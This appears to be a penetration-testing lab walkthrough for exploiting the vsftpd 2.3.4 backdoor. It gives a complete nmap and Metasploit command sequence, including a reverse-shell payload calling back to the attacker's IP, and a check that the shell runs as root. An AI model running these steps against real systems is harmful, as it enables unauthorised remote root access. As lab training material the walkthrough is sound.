FTP Exploitation

FTP (File Transfer Protocol) is a legacy file transfer service that has largely been replaced by encrypted alternatives like SFTP and FTPS on modern systems. However, unpatched or outdated FTP servers are still occasionally found in the wild and remain a common target in penetration testing labs. In this case, vsftpd 2.3.4 contains a publicly known backdoor that allows unauthenticated command execution — turning a simple version check into full remote access.

Discovery

Command
nmap -A -p- -T5 [target IP]
Description

Scans all ports with service versions and OS detection to identify the target's open services.

Attack

Command
msfconsole
Description

Launches the Metasploit Framework console.

Command
search vsftpd
Description

Searches for modules related to vsftpd.

Command
use exploit/unix/ftp/vsftpd_234_backdoor
Description

Selects the vsftpd 2.3.4 backdoor exploit module.

Command
show targets
Description

Displays the exploit's available target options.

Command
set target 0
Description

Selects the default target (Linux/Unix Command).

Command
show options
Description

Displays the required parameters for the exploit and payload.

Command
set RHOSTS [target IP]
Description

Sets the target's IP address.

Command
set LHOST [my IP]
Description

Sets the attacker's IP address for the reverse connection.

Command
set PAYLOAD cmd/unix/reverse
Description

Sets the payload to a Unix reverse shell.

Command
check
Description

Verifies the target is vulnerable before launching the exploit.

Command
exploit -j -z
Description

Launches the exploit as a background job. May need to be run more than once due to a timing-sensitive backdoor trigger.

Verification

Command
sessions -l
Description

Lists active sessions.

Command
sessions -i [id]
Description

Interacts with a specific session, using the ID shown by sessions -l.

Command
whoami
Description

Confirms the privilege level of the compromised shell (root).

Command
uname -a
Description

Displays the target system's kernel information.

Command
ls
Description

Lists files in the current directory to confirm shell access.

Tool Used

This attack was carried out using Metasploit Framework — see the full command reference here.